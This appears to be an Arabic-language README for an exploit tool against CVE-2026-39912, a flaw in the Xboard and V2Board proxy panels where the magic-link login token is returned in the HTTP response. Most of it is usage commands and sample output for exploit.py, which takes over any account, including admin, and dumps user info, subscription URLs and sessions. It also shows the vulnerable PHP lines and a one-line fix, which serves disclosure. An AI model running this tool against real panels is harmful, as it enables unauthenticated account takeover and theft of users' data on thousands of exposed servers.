
Xboard / V2Board الاستيلاء على الحساب بدون مصادقة - تسريب رمز الرابط السحري (CVE-2026-39912)
تسريب توكن الرابط السحري في loginWithMailLink
| CVE | CVE-2026-39912 |
| CVSS | 9.1 (حرجة) |
| CWE | CWE-201 (إدراج معلومات حساسة في البيانات المرسلة) |
| المتأثر | V2Board >= 1.6.1 حتى 1.7.4 / Xboard جميع الإصدارات حتى 0.1.9+ |
| الإصلاح | لم يُصلَّح بعد (تم التخلي عن V2Board منذ يونيو 2023) |
| الإفصاح | 2026-04-09 |
| الفضل | Valentin Lobstein (Chocapikk) |
| الشرح | chocapikk.com |
| PRs الإصلاح | V2Board #981 / Xboard #873 |
يعيد نقطة النهاية loginWithMailLink رابط الدخول السحري مباشرةً في نص استجابة HTTP بدلاً من إرساله عبر البريد الإلكتروني فقط. يمكن لمهاجم غير مصادق يعرف بريدًا إلكترونيًا مسجلًا أن يستولي على أي حساب - بما في ذلك حساب المشرف - عبر طلبي HTTP فقط.
كلاهما لوحتان للبروكسي/VPN واسعتا الانتشار، خاصة في الصين. يُظهر ZoomEye أكثر من 7,000 نسخة مكشوفة على الإنترنت.
login_with_mail_link_enable في إعدادات المشرف (غير مفعّل افتراضيًا)# Install dependencies
pip install requests
# Account takeover + data dump
python3 exploit.py http://target:7001 [email protected]
# Save dump to file
python3 exploit.py http://target:7001 [email protected] -o dump.json
$ python3 exploit.py http://target:7001 [email protected]
Xboard / V2Board - Unauth Account Takeover
Magic Link Token Leak (CVE-2026-39912) | by Choc
V2Board >= 1.6.1 | Xboard <= 0.1.9+
45 min from git clone to is_admin: true
[INFO] Requesting magic link for [email protected]
[INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Authenticated (admin=True)
[INFO] User Info: OK
[INFO] Subscription: OK
[INFO] Active Sessions: OK
[INFO] Stats: OK
{
"auth": {
"auth_data": "Bearer qCU2d9hS...",
"is_admin": true
},
"dump": {
"User Info": {
"email": "[email protected]",
"uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
...
},
"Subscription": {
"subscribe_url": "http://target:7001/s/324396af...",
...
},
"Active Sessions": [ ... ]
}
}
V2Board (app/Http/Controllers/Passport/AuthController.php):
SendEmailJob::dispatch([...]);
return response([
'data' => $link // Token leaked to caller
]);
Xboard (app/Services/Auth/MailLinkService.php):
$this->sendMailLinkEmail($user, $link);
return [true, $link]; // Same bug, inherited from fork
- return [true, $link];
+ return [true, true];